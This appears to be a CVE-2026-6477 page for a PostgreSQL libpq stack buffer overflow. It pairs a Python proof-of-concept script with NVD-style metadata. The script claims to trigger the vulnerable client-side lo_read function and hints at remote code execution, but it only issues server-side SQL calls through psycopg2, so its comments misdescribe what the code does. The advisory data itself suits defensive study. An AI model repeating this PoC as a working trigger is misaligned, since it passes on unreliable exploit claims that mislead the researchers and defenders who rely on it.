CVE-2026-6477

/* * PoC for CVE-2026-6477 * This script demonstrates the client-side trigger (lo_read). * Exploitation requires a malicious PostgreSQL server sending oversized data. */ import psycopg2 import sys try: # Connect to the target PostgreSQL database # Note: The server side must be malicious or compromised to exploit this conn = psycopg2.connect( dbname="testdb", user="postgres", password="password", host="127.0.0.1", port="5432" ) conn.autocommit = True cursor = conn.cursor() # Create a large object (OID) # In a real exploit scenario, the malicious server handles the response cursor.execute("SELECT lo_create(0)") loid = cursor.fetchone()[0] print(f"Created Large Object with OID: {loid}") # Attempt to open and read the large object # This triggers the vulnerable lo_read() function in libpq # If the server sends a huge response, a stack buffer overflow occurs cursor.execute("SELECT lo_open(%s, %s)", (loid, 0x20000)) fd = cursor.fetchone()[0] # Reading data triggers PQfn with result_is_int=0 cursor.execute("SELECT loread(%s, 1000)", (fd,)) data = cursor.fetchone()[0] print("Read operation completed (Check client crash/RCE)") # Cleanup cursor.execute("SELECT lo_unlink(%s)", (loid,)) except Exception as e: print(f"Error: {e}") finally: if 'conn' in locals(): conn.close()

{"cve": {"id": "CVE-2026-6477", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.347", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of inherently dangerous function PQfn(..., result_is_int=0, ...) in PostgreSQL libpq lo_export(), lo_read(), lo_lseek64(), and lo_tell64() functions allows the server superuser to overwrite a client stack buffer with an arbitrarily-large response. Like gets(), PQfn(..., result_is_int=0, ...) stores arbitrary-length, server-determined data into a buffer of unspecified size. Because both the \\lo_export command in psql and pg_dump call lo_read(), the server superuser can overwrite pg_dump or psql stack memory. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-242"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6477/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}